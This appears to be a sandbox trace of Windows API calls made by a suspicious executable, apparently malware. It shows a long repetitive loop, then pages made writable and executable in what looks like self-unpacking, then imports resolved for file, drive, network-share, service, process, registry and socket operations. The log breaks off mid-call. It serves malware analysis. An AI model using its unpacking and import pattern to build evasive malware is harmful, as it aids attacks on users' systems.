[0033.419] Sleep (dwMilliseconds=0x0) [0033.419] GetProcessHeap () returned 0x790000 [0033.419] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.419] GetProcessHeap () returned 0x790000 [0033.419] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.419] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.419] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.419] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.419] timeGetTime () returned 0x11435fe [0033.419] Sleep (dwMilliseconds=0x0) [0033.419] GetProcessHeap () returned 0x790000 [0033.419] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.419] GetProcessHeap () returned 0x790000 [0033.419] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.419] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.419] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.419] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.419] timeGetTime () returned 0x11435fe [0033.419] Sleep (dwMilliseconds=0x0) [0033.419] GetProcessHeap () returned 0x790000 [0033.419] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.419] GetProcessHeap () returned 0x790000 [0033.419] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.419] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.419] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.419] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.419] timeGetTime () returned 0x114360e [0033.419] Sleep (dwMilliseconds=0x0) [0033.419] GetProcessHeap () returned 0x790000 [0033.419] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.419] GetProcessHeap () returned 0x790000 [0033.419] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.419] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.419] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.419] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.419] timeGetTime () returned 0x114360e [0033.419] Sleep (dwMilliseconds=0x0) [0033.420] GetProcessHeap () returned 0x790000 [0033.420] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.420] GetProcessHeap () returned 0x790000 [0033.420] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.420] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.420] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.420] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.420] timeGetTime () returned 0x114360e [0033.420] Sleep (dwMilliseconds=0x0) [0033.420] GetProcessHeap () returned 0x790000 [0033.420] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.420] GetProcessHeap () returned 0x790000 [0033.420] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.420] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.420] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.420] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.420] timeGetTime () returned 0x114360e [0033.420] Sleep (dwMilliseconds=0x0) [0033.420] GetProcessHeap () returned 0x790000 [0033.420] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.420] GetProcessHeap () returned 0x790000 [0033.420] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.420] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.420] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.420] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.420] timeGetTime () returned 0x114360e [0033.420] Sleep (dwMilliseconds=0x0) [0033.420] GetProcessHeap () returned 0x790000 [0033.420] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.420] GetProcessHeap () returned 0x790000 [0033.420] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.420] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.420] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.420] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.420] timeGetTime () returned 0x114360e [0033.420] Sleep (dwMilliseconds=0x0) [0033.420] GetProcessHeap () returned 0x790000 [0033.420] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.420] GetProcessHeap () returned 0x790000 [0033.421] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.421] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.421] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.421] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.421] timeGetTime () returned 0x114360e [0033.421] Sleep (dwMilliseconds=0x0) [0033.421] GetProcessHeap () returned 0x790000 [0033.421] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.421] GetProcessHeap () returned 0x790000 [0033.421] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.421] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.421] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.421] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.421] timeGetTime () returned 0x114360e [0033.421] Sleep (dwMilliseconds=0x0) [0033.421] GetProcessHeap () returned 0x790000 [0033.421] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.421] GetProcessHeap () returned 0x790000 [0033.421] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.421] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.421] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.421] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.421] timeGetTime () returned 0x114360e [0033.421] Sleep (dwMilliseconds=0x0) [0033.421] GetProcessHeap () returned 0x790000 [0033.421] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.421] GetProcessHeap () returned 0x790000 [0033.421] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.421] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.421] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.421] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.421] timeGetTime () returned 0x114360e [0033.421] Sleep (dwMilliseconds=0x0) [0033.421] GetProcessHeap () returned 0x790000 [0033.421] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.421] GetProcessHeap () returned 0x790000 [0033.421] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.421] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.421] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.422] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.422] timeGetTime () returned 0x114360e [0033.422] Sleep (dwMilliseconds=0x0) [0033.422] GetProcessHeap () returned 0x790000 [0033.422] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.422] GetProcessHeap () returned 0x790000 [0033.422] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.422] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.422] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.422] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.422] timeGetTime () returned 0x114360e [0033.422] Sleep (dwMilliseconds=0x0) [0033.422] GetProcessHeap () returned 0x790000 [0033.422] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.422] GetProcessHeap () returned 0x790000 [0033.422] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.422] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.422] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.422] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.422] timeGetTime () returned 0x114360e [0033.422] Sleep (dwMilliseconds=0x0) [0033.422] GetProcessHeap () returned 0x790000 [0033.422] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.422] GetProcessHeap () returned 0x790000 [0033.422] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.422] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.422] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.422] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.422] timeGetTime () returned 0x114360e [0033.422] Sleep (dwMilliseconds=0x0) [0033.422] GetProcessHeap () returned 0x790000 [0033.422] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.422] GetProcessHeap () returned 0x790000 [0033.422] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.422] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.422] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.422] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.422] timeGetTime () returned 0x114360e [0033.422] Sleep (dwMilliseconds=0x0) [0033.423] GetProcessHeap () returned 0x790000 [0033.423] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.423] GetProcessHeap () returned 0x790000 [0033.423] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.423] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.423] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.423] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.423] timeGetTime () returned 0x114360e [0033.423] Sleep (dwMilliseconds=0x0) [0033.423] GetProcessHeap () returned 0x790000 [0033.423] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.423] GetProcessHeap () returned 0x790000 [0033.423] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.423] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.423] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.423] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.423] timeGetTime () returned 0x114360e [0033.423] Sleep (dwMilliseconds=0x0) [0033.423] GetProcessHeap () returned 0x790000 [0033.423] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.423] GetProcessHeap () returned 0x790000 [0033.423] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.423] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.423] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.427] AVIFileInit () returned 0x0 [0033.427] AVIFileOpenA () returned 0x80040154 [0033.431] GdiSetBatchLimit (dw=0x1) returned 0x14 [0033.432] GetDC (hWnd=0x0) returned 0x1010858 [0033.432] CreateCompatibleDC (hdc=0x1010858) returned 0x1b010247 [0033.432] CreateCompatibleBitmap (hdc=0x1010858, cx=100, cy=100) returned 0x1b050274 [0033.432] SelectObject (hdc=0x1b010247, h=0x1b050274) returned 0x185000f [0033.432] CreateSolidBrush (color=0x207fff) returned 0x19100833 [0033.432] CreateRectRgn (x1=0, y1=0, x2=50, y2=50) returned 0x1804082d [0033.432] DeleteObject (ho=0x19100833) returned 1 [0033.432] DeleteObject (ho=0x1804082d) returned 1 [0033.432] SelectObject (hdc=0x1b010247, h=0x185000f) returned 0x1b050274 [0033.432] DeleteObject (ho=0x1b050274) returned 1 [0033.433] DeleteDC (hdc=0x1b010247) returned 1 [0033.433] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0033.433] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0033.433] EnumChildWindows (hWndParent=0x0, lpEnumFunc=0x2d40000, lParam=0x0) [0033.681] GetModuleHandleA (lpModuleName="ntdll") returned 0x77130000 [0033.681] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0034.244] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18e628 | out: lpflOldProtect=0x18e628*=0x2) returned 1 [0034.244] VirtualProtect (in: lpAddress=0x401000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18e628 | out: lpflOldProtect=0x18e628*=0x40) returned 1 [0034.257] VirtualProtect (in: lpAddress=0x402000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18e628 | out: lpflOldProtect=0x18e628*=0x40) returned 1 [0034.262] VirtualProtect (in: lpAddress=0x403000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18e628 | out: lpflOldProtect=0x18e628*=0x40) returned 1 [0034.266] VirtualProtect (in: lpAddress=0x404000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18e628 | out: lpflOldProtect=0x18e628*=0x40) returned 1 [0034.271] VirtualProtect (in: lpAddress=0x405000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18e628 | out: lpflOldProtect=0x18e628*=0x40) returned 1 [0034.276] VirtualProtect (in: lpAddress=0x406000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18e628 | out: lpflOldProtect=0x18e628*=0x40) returned 1 [0034.281] VirtualProtect (in: lpAddress=0x407000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18e628 | out: lpflOldProtect=0x18e628*=0x40) returned 1 [0034.286] VirtualProtect (in: lpAddress=0x408000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18e628 | out: lpflOldProtect=0x18e628*=0x40) returned 1 [0034.290] VirtualProtect (in: lpAddress=0x409000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18e628 | out: lpflOldProtect=0x18e628*=0x40) returned 1 [0034.295] VirtualProtect (in: lpAddress=0x40a000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18e628 | out: lpflOldProtect=0x18e628*=0x40) returned 1 [0034.300] VirtualProtect (in: lpAddress=0x40b000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18e628 | out: lpflOldProtect=0x18e628*=0x40) returned 1 [0034.304] VirtualProtect (in: lpAddress=0x40c000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18e628 | out: lpflOldProtect=0x18e628*=0x40) returned 1 [0034.309] VirtualProtect (in: lpAddress=0x40d000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18e628 | out: lpflOldProtect=0x18e628*=0x40) returned 1 [0034.314] VirtualProtect (in: lpAddress=0x40e000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18e628 | out: lpflOldProtect=0x18e628*=0x40) returned 1 [0034.318] VirtualProtect (in: lpAddress=0x40f000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18e628 | out: lpflOldProtect=0x18e628*=0x40) returned 1 [0034.323] VirtualProtect (in: lpAddress=0x410000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18e628 | out: lpflOldProtect=0x18e628*=0x40) returned 1 [0034.328] VirtualProtect (in: lpAddress=0x411000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18e628 | out: lpflOldProtect=0x18e628*=0x40) returned 1 [0034.333] VirtualProtect (in: lpAddress=0x412000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18e628 | out: lpflOldProtect=0x18e628*=0x40) returned 1 [0034.338] VirtualProtect (in: lpAddress=0x413000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18e628 | out: lpflOldProtect=0x18e628*=0x40) returned 1 [0034.343] VirtualProtect (in: lpAddress=0x414000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18e628 | out: lpflOldProtect=0x18e628*=0x40) returned 1 [0034.348] VirtualProtect (in: lpAddress=0x415000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18e628 | out: lpflOldProtect=0x18e628*=0x40) returned 1 [0034.352] VirtualProtect (in: lpAddress=0x416000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18e628 | out: lpflOldProtect=0x18e628*=0x40) returned 1 [0034.357] VirtualProtect (in: lpAddress=0x417000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18e628 | out: lpflOldProtect=0x18e628*=0x40) returned 1 [0034.362] VirtualProtect (in: lpAddress=0x418000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18e628 | out: lpflOldProtect=0x18e628*=0x40) returned 1 [0034.368] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0034.368] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0034.368] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0034.368] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0034.369] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0034.369] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0034.369] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0034.369] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0034.369] GetProcAddress (hModule=0x76c20000, lpProcName="ReleaseMutex") returned 0x76c3111e [0034.369] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0034.369] VirtualProtect (in: lpAddress=0x400000, dwSize=0x400, flNewProtect=0x2, lpflOldProtect=0x18e638 | out: lpflOldProtect=0x18e638*=0x40) returned 1 [0034.370] VirtualProtect (in: lpAddress=0x401000, dwSize=0x9c25, flNewProtect=0x20, lpflOldProtect=0x18e638 | out: lpflOldProtect=0x18e638*=0x40) returned 1 [0034.425] VirtualProtect (in: lpAddress=0x40b000, dwSize=0x2636, flNewProtect=0x2, lpflOldProtect=0x18e638 | out: lpflOldProtect=0x18e638*=0x40) returned 1 [0034.425] VirtualProtect (in: lpAddress=0x40e000, dwSize=0xaad5, flNewProtect=0x4, lpflOldProtect=0x18e638 | out: lpflOldProtect=0x18e638*=0x40) returned 1 [0034.427] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0034.428] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0034.428] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0034.428] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0034.428] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0034.428] GetProcAddress (hModule=0x76c20000, lpProcName="MoveFileW") returned 0x76c49af0 [0034.428] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSizeEx") returned 0x76c359e2 [0034.429] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0034.429] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileAttributesW") returned 0x76c31b18 [0034.429] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0034.429] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0034.429] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e [0034.429] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameA") returned 0x76c4b6e0 [0034.429] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexW") returned 0x76c3424c [0034.429] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0034.430] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0034.430] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0034.430] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0034.430] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDrives") returned 0x76c35371 [0034.430] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0034.430] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0034.430] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0034.430] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0034.431] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0034.431] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0034.431] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0034.431] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0034.431] GetProcAddress (hModule=0x76c20000, lpProcName="OpenMutexW") returned 0x76c35151 [0034.431] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0034.431] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForMultipleObjects") returned 0x76c34220 [0034.431] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpiW") returned 0x76c4d5cd [0034.432] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpiA") returned 0x76c33e8e [0034.432] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0034.432] GetProcAddress (hModule=0x76c20000, lpProcName="ReleaseMutex") returned 0x76c3111e [0034.432] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0034.432] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467 [0034.432] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0034.432] GetProcAddress (hModule=0x76c20000, lpProcName="ExpandEnvironmentStringsW") returned 0x76c34173 [0034.433] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0034.433] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceFrequency") returned 0x76c341f0 [0034.433] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0034.433] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileAttributesW") returned 0x76c4d4f7 [0034.433] GetProcAddress (hModule=0x76c20000, lpProcName="GetVolumeInformationW") returned 0x76c4c860 [0034.433] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0034.433] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0034.434] GetProcAddress (hModule=0x76c20000, lpProcName="SetEndOfFile") returned 0x76c4ce2e [0034.434] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0034.434] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0034.434] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0034.434] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0034.434] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0034.434] GetProcAddress (hModule=0x76c20000, lpProcName="CreatePipe") returned 0x76cb415b [0034.434] GetProcAddress (hModule=0x76c20000, lpProcName="SetHandleInformation") returned 0x76c4195c [0034.435] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0034.435] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringW") returned 0x76c33bca [0034.435] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringA") returned 0x76c33c5a [0034.435] GetProcAddress (hModule=0x76c20000, lpProcName="OpenProcess") returned 0x76c31986 [0034.435] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0034.435] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTime") returned 0x76c35a96 [0034.435] GetProcAddress (hModule=0x76c20000, lpProcName="SystemTimeToFileTime") returned 0x76c35a7e [0034.435] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0034.436] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0034.436] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c [0034.436] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf [0034.436] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74d40000 [0034.436] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0034.436] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad [0034.436] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0034.437] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0034.437] GetProcAddress (hModule=0x74d40000, lpProcName="OpenProcessToken") returned 0x74d54304 [0034.437] GetProcAddress (hModule=0x74d40000, lpProcName="GetTokenInformation") returned 0x74d5431c [0034.437] GetProcAddress (hModule=0x74d40000, lpProcName="OpenSCManagerW") returned 0x74d4ca64 [0034.437] GetProcAddress (hModule=0x74d40000, lpProcName="OpenServiceW") returned 0x74d4ca4c [0034.437] GetProcAddress (hModule=0x74d40000, lpProcName="CloseServiceHandle") returned 0x74d5369c [0034.437] GetProcAddress (hModule=0x74d40000, lpProcName="ControlService") returned 0x74d67144 [0034.437] GetProcAddress (hModule=0x74d40000, lpProcName="QueryServiceStatus") returned 0x74d52a86 [0034.438] GetProcAddress (hModule=0x74d40000, lpProcName="EnumDependentServicesW") returned 0x74d41e3a [0034.438] GetProcAddress (hModule=0x74d40000, lpProcName="EnumServicesStatusExW") returned 0x74d4b466 [0034.438] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74f40000 [0034.438] GetProcAddress (hModule=0x74f40000, lpProcName="SystemParametersInfoW") returned 0x74f590d3 [0034.438] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0034.438] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0034.438] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77130000 [0034.439] GetProcAddress (hModule=0x77130000, lpProcName="NtQuerySystemInformation") returned 0x7714fda0 [0034.439] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x741b0000 [0034.531] GetProcAddress (hModule=0x741b0000, lpProcName="WNetCloseEnum") returned 0x741b2dd6 [0034.531] GetProcAddress (hModule=0x741b0000, lpProcName="WNetOpenEnumW") returned 0x741b2f06 [0034.532] GetProcAddress (hModule=0x741b0000, lpProcName="WNetEnumResourceW") returned 0x741b3058 [0034.532] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75bc0000 [0034.532] GetProcAddress (hModule=0x75bc0000, lpProcName="WSAStartup") returned 0x75bc3ab2 [0034.532] GetProcAddress (hModule=0x75bc0000, lpProcName="socket") returned 0x75bc3eb8 [0034.532] GetProcAddress (hModule=0x75bc0000, lpProcName="send") returned 0x75bc6f01 [0034.532] GetProcAddress (hModule=0x75bc0000, lpProcName="recv") returned 0x75bc6b0e [0034.532] GetProcAddress (hModule=0x75bc0000, lpProcName="connect") returned 0x75bc6bdd [0034.533] GetProcAddress (hModule=0x75bc0000, lpProcName="closesocket") returned 0x75bc3918 [0034.533] GetProcAddress (hModule=0x75bc0000, lpProcName="gethostbyname") returned 0x75bd7673 [0034.533] GetProcAddress (hModule=0x75bc0000, lpProcName="inet_addr") returned 0x75bc311b [0034.533] GetProcAddress (hModule=0x75bc0000, lpProcName="ntohl") returned 0x75bc2d57 [0034.533] GetProcAddress (hModule=0x75bc0000, lpProcName="htonl") returned 0x75bc2d57 [0034.533] GetProcAddress (hModule=0x75bc0000, lpProcName="htons") returned 0x75bc2d8b [0034.533] GetProcessHeap () returned 0x790000 [0034.533] RtlAllocateHeap 